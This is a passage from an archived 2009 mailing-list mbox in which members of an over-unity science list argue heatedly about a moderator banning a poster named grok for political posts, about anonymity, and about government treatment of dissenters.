U.S. government has said that people who deny the >> >>> government story about 9/11, or who want the government >> >>> to obey the Constitution, or who oppose the war against >> >>> Iraq, etc., are to be suspected as terrorists allied with >> >>> Al-Qaeda. U.S. government legislation and executive >> >>> orders provide that suspected terrorists can be arrested, >> >>> denied the legal rights provided in the Constitution, >> >>> tortured, and killed. >> >> >> >> Oh well, grok kinda had it coming as he has no genuine interest in ever >> >> being on topic and he tends to shot first. >> >> >> >> And I'm not anonymous obviously, so not sure how this accidental >> >> infraction gets undone... >> >> >> >> >> >> >> >> On Mon, Jun 8, 2009 at 8:29 PM, Mark S Bilk >> >> wrote: >> >>> >> >>> On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote: >> >>> >Grok is a coward. >> >>> >If he really believed what he was preaching, then he wouldn't be >> afraid >> >>> > to use his real name. >> >>> >> >>> The U.S. government has said that people who deny the >> >>> government story about 9/11, or who want the government >> >>> to obey the Constitution, or who oppose the war against >> >>> Iraq, etc., are to be suspected as terrorists allied with >> >>> Al-Qaeda. U.S. government legislation and executive >> >>> orders provide that suspected terrorists can be arrested, >> >>> denied the legal rights provided in the Constitution, >> >>> tortured, and killed. >> >>> >> >>> So anyone who speaks out against U.S. government policies >> >>> is well justified in doing so anonymously. In this case >> >>> anonymity does _not_ mean >> >>> >> >>> >>"probably criminal element" ..."teenager," or "newbie user." >> >>> >> >>> Furthermore, Grok has _not_ >> >>> >> >>> >>[drawn] complaints from the entire community >> >>> >> >>> >I think most everyone I'm aware of on this list has apologized at one >> >>> > time or another... It's what a >> >>> >person with integrity does when they realize their mistake or >> >>> > transgression. The fact that grok is >> >>> >incapable of such behavior (all he knows is arrogance and >> >>> > condescension), shows his true self; one >> >>> >lacking humility, reflection, self-awareness consciousness... Asking >> for >> >>> > an apology and real name >> >>> >are justified in this instance. >> >>> >He will, or already has, tried to blame others for his situation; he >> >>> > needs to point the finger in >> >>> >his direction. I doubt if he is even capable of that... Personal >> >>> > responsibility is something he >> >>> >hasn't shown either. >> >>> >> >>> That's an ad hominem attack made without supporting evidence. >> >>> >> >>> Mark S Bilk >> >>> http://www.cosmicpenguin.com >> >>> >> >>> >-----Original Message----- >> >>> >From: William Beaty [mailto:billb@eskimo.com] >> >>> >Sent: Sunday, June 07, 2009 10:54 PM >> >>> >To: vortex-l@eskimo.com >> >>> >Subject: Re: [Vo]:grok is removed temporarily >> >>> > >> >>> >On Sun, 7 Jun 2009, Harry Veeder wrote: >> >>> > >> >>> >> > Grok said no thanks, to the above. >> >>> >> I am not sure why he should apologize for his off-topic postings, >> >>> > >> >>> >Political posting sent here, rather than to vtxB. >> >>> > >> >>> >> If you expect him to reveal his true identity then that should be >> >>> >> written in the rules. >> >>> > >> >>> >Nope. If any user misbehaves so badly that they draw complaints from >> >>> > the entire community, then >> >>> >I'll fix the problem, which includes crafting arbitrary and >> mysterious >> >>> > requirements on a whim. >> >>> > >> >>> >As with any professional community, people with real names are >> welcome, >> >>> > and people who hide their >> >>> >identities have marked themselves as "probably criminal element" in >> the >> >>> > eyes of the group >> >>> >...although on internet, anonymity also means "teenager," or "newbie >> >>> > user." (Which of the three is >> >>> >worse?) To impress fellow professionals, always put your address and >> >>> > phone number in your sig. >> >>> >This is an unwritten societal rule which applies to the entire world, >> >>> > not just online or on vortex: >> >>> >try walking around downtown wearing a mask, see what happens. >> >>> > >> >>> >Perhaps vortex should require surrendering anonymity, but it's much >> work >> >>> > to do it right (to avoid >> >>> >fake identities.) >> >>> > >> >>> >> If the political commentary incorporates *personal* insults, >> instead >> >>> >> of >> >>> > >> >>> >There is very specifically no rule against insults on Vortex-L. >> >>> > However, people who habitually use >> >>> >personal insults will attract complaints from the entire community, >> and >> >>> > then... (see above.) >> >>> >> >> >> > >> > >> >> > --001636e90df9ea11f0046bdfb849 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable I knew my line "If you live in a web of lies truth becomes an act of t= errorism" rung a bell, sure enough...

"During times of uni= versal deceit, telling the truth becomes a revolutionary act." -- G= eorge Orwell

So I guess revolutionary acts are labeled as terrorism now...

On Tue, Jun 9, 2009 at 12:43 PM, John Berry <aether22@gmail.com> wrote:
I did email him l= ast night (my time).


On Tue, Jun 9, 2009 at 12:23 PM, leaking pen <itsatrap@gmail.com>= wrote:
just drop bill a private email and say you wont do it again

On Mon, Jun 8, 2009 at 5:08 PM, John Berry<aether22@gmail.com> wrote:
> Ok, so are my posts even getting through to Vortex-B currently?
>
> A warning would I think be a better method than unsubscribing but I wa= s told
> it was temporary but how am I to get back?
>
> Let's see what Grok was asked to do...
>
>> To resubscribe, I require that he apologize for his off-topic post= ings,
>
> I made a single post that got me kicked off, so I can apologize for a = single
> post not posts, furthermore I said it was a mistake as I had not meant= it to
> go to Vortex-l, still I can apologize for my complacency and do.
>
>> reveal his identity
>
>
> My identity has never been a secret (my name is sometimes appended to = posts
> and always appears in the sender field in my emails).
> I could add to it however that I am a citizen of and reside in New Zea= land,
> although that too was apparent with previous email addess I had previo= usly
> been subscribed under.
>
>> , and promise to eliminate all political commentary.
>
> Again it was a mistake and I don't make a habit of it, but obvious= ly that is
> inherently agreed to.
>
> Wouldn't a warning have been more appropriate?
>
>
>
>
> On Mon, Jun 8, 2009 at 9:49 PM, John Berry <aether22@gmail.com> wrote:
>>
>> I too am now removed, I replied to this topic not realizing it was= posted
>> twice in vortes-l and vortex-b, i replied to the wrong instance. >>
>> Anyway the gist of what I said was:
>>
>> I guess if you live in a web of lies truth becomes an act of terro= rism.
>>
>> Or something to that effect in reply to:
>>
>>> The U.S. government has said that people who deny the
>>> government story about 9/11, or who want the government
>>> to obey the Constitution, or who oppose the war against
>>> Iraq, etc., are to be suspected as terrorists allied with
>>> Al-Qaeda. =A0U.S. government legislation and executive
>>> orders provide that suspected terrorists can be arrested,
>>> denied the legal rights provided in the Constitution,
>>> tortured, and killed.
>>
>> Oh well, grok kinda had it coming as he has no genuine interest in= ever
>> being on topic and he tends to shot first.
>>
>> And I'm not anonymous obviously, so not sure how this accident= al
>> infraction gets undone...
>>
>>
>>
>> On Mon, Jun 8, 2009 at 8:29 PM, Mark S Bilk <mark@cosmicpenguin.com> >> wrote:
>>>
>>> On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote:<= br> >>> >Grok is a coward.
>>> >If he really believed what he was preaching, then he would= n't be afraid
>>> > to use his real name.
>>>
>>> The U.S. government has said that people who deny the
>>> government story about 9/11, or who want the government
>>> to obey the Constitution, or who oppose the war against
>>> Iraq, etc., are to be suspected as terrorists allied with
>>> Al-Qaeda. =A0U.S. government legislation and executive
>>> orders provide that suspected terrorists can be arrested,
>>> denied the legal rights provided in the Constitution,
>>> tortured, and killed.
>>>
>>> So anyone who speaks out against U.S. government policies
>>> is well justified in doing so anonymously. =A0In this case
>>> anonymity does _not_ mean
>>>
>>> >>"probably criminal element" ..."teenage= r," or "newbie user."
>>>
>>> Furthermore, Grok has _not_
>>>
>>> >>[drawn] complaints from the entire community
>>>
>>> >I think most everyone I'm aware of on this list has ap= ologized at one
>>> > time or another... It's what a
>>> >person with integrity does when they realize their mistake= or
>>> > transgression. =A0The fact that grok is
>>> >incapable of such behavior (all he knows is arrogance and<= br> >>> > condescension), shows his true self; one
>>> >lacking humility, reflection, self-awareness consciousness= ... Asking for
>>> > an apology and real name
>>> >are justified in this instance.
>>> >He will, or already has, tried to blame others for his sit= uation; he
>>> > needs to point the finger in
>>> >his direction. =A0I doubt if he is even capable of that...= Personal
>>> > responsibility is something he
>>> >hasn't shown either.
>>>
>>> That's an ad hominem attack made without supporting eviden= ce.
>>>
>>> =A0Mark S Bilk
>>> =A0= http://www.cosmicpenguin.com
>>>
>>> >-----Original Message-----
>>> >From: William Beaty [mailto:billb@eskimo.com]
>>> >Sent: Sunday, June 07, 2009 10:54 PM
>>> >To: vortex-l@eskimo.com
>>> >Subject: Re: [Vo]:grok is removed temporarily
>>> >
>>> >On Sun, 7 Jun 2009, Harry Veeder wrote:
>>> >
>>> >> > Grok said no thanks, to the above.
>>> >> I am not sure why he should apologize for his off-top= ic postings,
>>> >
>>> >Political posting sent here, rather than to vtxB.
>>> >
>>> >> If you expect him to reveal his true identity then th= at should be
>>> >> written in the rules.
>>> >
>>> >Nope. =A0If any user misbehaves so badly that they draw co= mplaints from
>>> > the entire community, then
>>> >I'll fix the problem, which includes crafting arbitrar= y and mysterious
>>> > requirements on a whim.
>>> >
>>> >As with any professional community, people with real names= are welcome,
>>> > and people who hide their
>>> >identities have marked themselves as "probably crimin= al element" in the
>>> > eyes of the group
>>> >...although on internet, anonymity also means "teenag= er," or "newbie
>>> > user." =A0(Which of the three is
>>> >worse?) =A0To impress fellow professionals, always put you= r address and
>>> > phone number in your sig.
>>> >This is an unwritten societal rule which applies to the en= tire world,
>>> > not just online or on vortex:
>>> >try walking around downtown wearing a mask, see what happe= ns.
>>> >
>>> >Perhaps vortex should require surrendering anonymity, but = it's much work
>>> > to do it right (to avoid
>>> >fake identities.)
>>> >
>>> >> If the political commentary incorporates *personal* i= nsults, instead
>>> >> of
>>> >
>>> >There is very specifically no rule against insults on Vort= ex-L.
>>> > =A0However, people who habitually use
>>> >personal insults will attract complaints from the entire c= ommunity, and
>>> > then... (see above.)
>>>
>>
>
>



--001636e90df9ea11f0046bdfb849-- From vortexb-l-request@eskimo.com Mon Jun 8 18:21:05 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n591L226027604; Mon, 8 Jun 2009 18:21:03 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n591L2ck027599; Mon, 8 Jun 2009 18:21:02 -0700 Resent-Date: Mon, 8 Jun 2009 18:21:01 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 18:20:51 -0700 From: grok To: Mark S Bilk Cc: vortexb-l@eskimo.com Message-ID: <20090609012051.GA10785@shell.resist.ca> Reply-To: grok@resist.ca References: <20090608082941.GC29614@Isis> <20090608093830.GA19130@shell.resist.ca> <20090608110942.GF29614@Isis> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <20090608110942.GF29614@Isis> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Titan Corporation, spook words, NATIA, corn, Air to Ground Missile User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4351 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: grok is removed temporarily Status: RO X-Status: X-Keywords: X-UID: 593 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Mark S Bilk mounted the barricade and roared out: > Hi Grok, > > >Thanx Mark -- but you're talking to the intellectually dishonest there. A losing hand, > >no matter how reasonable you are. > >I think you see by the record what's really up here. > > You are absolutely right! Beaty just banned me for answering > Iverson in the post you quote below, but he didn't ban > Iverson! He is banning people because he disagrees with their > politics, not because they're posting politics in a science list. > I used to think very highly of him, and rate vortex-l as the > best list I'm on. Sorry to hear that. But that's the truth of the matter isn't it? I guess you didn't have enuff "brownie points" to get a pass, like his redneck friends. As for Beaty: he's revealed himself to be among the worst of the lot, once the chips are down. And that always brings out one's true personality, doesn't it? No wonder they hate me. They are revealed for what they truly are, for once. ;P > Are you still receiving vortex-l posts even if you can't send any? No. Loox like I'm outta there. I'll get my OU news elsewhere. It's a lot harder to be a monopoly -- and a gatekeeper -- these daze. > On the plus side, I see from your headers that you are using > Linux and Mutt as I am! Yay! > > Mark Ya. FOSS aside, M$ Windoze caused me an ocean of grief in the time... GNUnix, of course, is communism. Bill Gates said so. ;P - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkotuPMACgkQXo3EtEYbt3GwgQCfd1Nsi2+nOO6pYbp7Mi2ydRbL PgkAoKR6CueXLkBTQBgOjybb8AWZXQU2 =7zJU -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 18:30:50 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n591UlMx017750; Mon, 8 Jun 2009 18:30:47 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n591Ulab017742; Mon, 8 Jun 2009 18:30:47 -0700 Resent-Date: Mon, 8 Jun 2009 18:30:47 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 18:30:34 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily Message-ID: <20090609013034.GB10785@shell.resist.ca> Reply-To: grok@resist.ca References: <3fd9493facb0.3facb03fd949@ncf.ca> <3D5A832CD18E42AEA658EAD84F14F985@p4> <20090608082941.GC29614@Isis> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Titan Corporation, spook words, NATIA, corn, Air to Ground Missile User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <9N4PB.A.DVE.HtbLKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4352 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 594 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Berry mounted the barricade and roared out: > I too am now removed, I replied to this topic not realizing it was posted > twice in vortes-l and vortex-b, i replied to the wrong instance. > > Anyway the gist of what I said was: > > I guess if you live in a web of lies truth becomes an act of terrorism. > > Or something to that effect in reply to: A regular PURGE, ain't it? Sorry guys. But loox like Stalin would approve of Mr. Beaty. > The U.S. government has said that people who deny the > > government story about 9/11, or who want the government > > to obey the Constitution, or who oppose the war against > > Iraq, etc., are to be suspected as terrorists allied with > > Al-Qaeda. U.S. government legislation and executive > > orders provide that suspected terrorists can be arrested, > > denied the legal rights provided in the Constitution, > > tortured, and killed. > > > > Oh well, grok kinda had it coming as he has no genuine interest in ever > being on topic and he tends to shot first. Well that would be untrue. But since you didn't pay enuff attention obviously, let me point out that these cherry picking hypocrites picked and chose what they wanted to respond to -- thus making certain that things escalated: as they knew where this would all end up, as did myself. Most of my science posts were studiously ignored. Did you see those..? And let me point out again, too, that all that these people had to do was 'agree to disagree' with me -- and take my responses to their Reichwing views at face value. And move on. But nothing doing -- they wanted 'satisfaction'. Got it yet..? Science is politikal. OU is *definitely* politikal. Was I not supposed to respond..? - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkotuzoACgkQXo3EtEYbt3E8kACfdni2zNf3vLD3D5C+Gr/ueEPD YAQAnjpEOrRGHTOK+PRYp3XzNCNDOD3K =gvfY -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 18:35:50 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n591Zl35030839; Mon, 8 Jun 2009 18:35:47 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n591ZknF030829; Mon, 8 Jun 2009 18:35:46 -0700 Resent-Date: Mon, 8 Jun 2009 18:35:46 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 18:35:40 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily Message-ID: <20090609013539.GC10785@shell.resist.ca> Reply-To: grok@resist.ca References: <3fd9493facb0.3facb03fd949@ncf.ca> <3D5A832CD18E42AEA658EAD84F14F985@p4> <20090608082941.GC29614@Isis> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Titan Corporation, spook words, NATIA, corn, Air to Ground Missile User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4353 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 595 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Berry mounted the barricade and roared out: > I knew my line "If you live in a web of lies truth becomes an act of > terrorism" rung a bell, sure enough... > > "During times of universal deceit, telling the truth becomes a revolutionary > act." -- *George Orwell* > > So I guess revolutionary acts are labeled as terrorism now... Not only can you not rebel against the police-state: you WILL be labeled a *terrorist* for even TALKING about rebelling against the police-state. That's what police-states are like. But even more: they are trying to outlaw even THINKING about rebelling against them. Now THAT's totalitarianism. YOUR country. "Land of the Free [Market]". - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkotvGsACgkQXo3EtEYbt3FiaACgnYQe9F7Nvwq6BG4dJVczXj+B IoUAn1cNlIAN3RP0+U+1h18WnYfG706X =lt4W -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 18:39:31 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n591dP1H022283; Mon, 8 Jun 2009 18:39:25 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n591dO1j022278; Mon, 8 Jun 2009 18:39:24 -0700 Resent-Date: Mon, 8 Jun 2009 18:39:24 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 18:39:18 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Mig Pilot Message-ID: <20090609013918.GD10785@shell.resist.ca> Reply-To: grok@resist.ca References: <2CB0AF9101CF4C3889555DE9CD07EE70@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <2CB0AF9101CF4C3889555DE9CD07EE70@REVTEC1> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Titan Corporation, spook words, NATIA, corn, Air to Ground Missile User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4354 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 596 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > The book Mig Pilot by John Barron could bring some real life perspective to > the things Grok holds dear. Has anyone other than me read it? And it's what your great-grandchildren will hold dear too, komrad. Peaches and cream and all that. Still refusing to separate stalinism from socialism... So I will continue to bring up your good ol' buddy Adolf Hitler in response, schmuck. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkotvUYACgkQXo3EtEYbt3E7EACbBNWj8/UdGg6mIvBszpdBdfwK k9UAoOCazb+5aCrWl/BMXihH8a4nthH5 =fHRv -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 19:09:07 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n59294Qn005071; Mon, 8 Jun 2009 19:09:04 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n59294no005067; Mon, 8 Jun 2009 19:09:04 -0700 Resent-Date: Mon, 8 Jun 2009 19:09:04 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 19:08:57 -0700 From: grok To: Terry Blanton Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: grok is removed temporarily Message-ID: <20090609020857.GF10785@shell.resist.ca> Reply-To: grok@resist.ca References: <20090608082941.GC29614@Isis> <20090608093830.GA19130@shell.resist.ca> <20090608110942.GF29614@Isis> <20090609012051.GA10785@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Titan Corporation, spook words, NATIA, corn, Air to Ground Missile User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4355 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 597 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > On Mon, Jun 8, 2009 at 8:20 PM, grok wrote: > > > No wonder > > they hate me. They are revealed for what they truly are, for once. > > No one hates you. Be it Marxism or Capitalism, you must play by the rulez. Bullshit. You people have very selective memories. And sure -- I didn't back down. I don't like the hypocritical application of "rules" -- good, bad or otherwise. It's also my 'policy' -- because I have bigger fish to fry than you lot. And again: the issue really isn't me. It's really what *you* people really are. The "rules" are in fact merely a polite way for a den of thieves to overlook the inconvenient facts of their profession while enjoying themselves. > > I'll get my OU news elsewhere. It's a lot harder to > > be a monopoly -- and a gatekeeper -- these daze. > > Try overunity.com. The gatekeeper has no function without the keymaster. > > Terry There're plenty of options. Vortex-l is not the Universe. And you are too kind. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkotxDkACgkQXo3EtEYbt3Gk9wCePXHh8oJ1eb9tUSsVS6MxD7nB sv8AnRmOyjKsuvRk9AEMwRFRmja2NDhg =qHll -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 19:37:12 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n592bAXI016042; Mon, 8 Jun 2009 19:37:10 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n592b4M6016027; Mon, 8 Jun 2009 19:37:04 -0700 Resent-Date: Mon, 8 Jun 2009 19:37:04 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 19:36:54 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily Message-ID: <20090609023654.GH10785@shell.resist.ca> Reply-To: grok@resist.ca References: <3fd9493facb0.3facb03fd949@ncf.ca> <3D5A832CD18E42AEA658EAD84F14F985@p4> <20090608082941.GC29614@Isis> <20090609013034.GB10785@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Titan Corporation, spook words, NATIA, corn, Air to Ground Missile User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4356 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 598 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Berry mounted the barricade and roared out: > grok, I didn't read every post from you though clearly you have a serious > political bent. > > It's quite possible you were occasionally on topic but as a % it was slim > enough to pass my (deficient) attention. One more time: 1: I did not start any off-topic politikal talk. 2: OU science - let alone Science per se -- is *all* about politix. All the time. It's only the hypocrisy of a ruling-class -- and those who obey them, willingly or otherwise -- that makes the truth of the matter out to be otherwise. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkotysYACgkQXo3EtEYbt3E7ZwCfQr1WHM8rkBlvXliSBO9Kiecb zmsAn03C3zCCQ9oy8Osuo3bIVx3s0Fqj =mgEi -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 19:43:33 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n592hRdC017168; Mon, 8 Jun 2009 19:43:27 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n592hRa0017160; Mon, 8 Jun 2009 19:43:27 -0700 Resent-Date: Mon, 8 Jun 2009 19:43:27 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 19:43:24 -0700 From: grok To: John Berry Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily Message-ID: <20090609024324.GI10785@shell.resist.ca> Reply-To: grok@resist.ca References: <3D5A832CD18E42AEA658EAD84F14F985@p4> <20090608082941.GC29614@Isis> <20090609013539.GC10785@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Titan Corporation, spook words, NATIA, corn, Air to Ground Missile User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4357 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 599 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Berry mounted the barricade and roared out: > grok, I'm not an American, but even many Americans are somewhat aware of the > failures of their current morally bankrupt rulers. (to put it kindly) A necessary -- but actually insufficient -- state of being, for a democratic citizen of the World, John Berry. Thomas Paine was english too, for that matter. And USAmerican. And french. My point is that one may not approve -- but still acquiesce. Which is nothing at all to brag about. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkotzEwACgkQXo3EtEYbt3EARACgvKOAnpYXidFmc52e6aVQ9D// 8ywAoPDBmgC9FytWYzo6bt42OOGvCxnW =z8xP -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 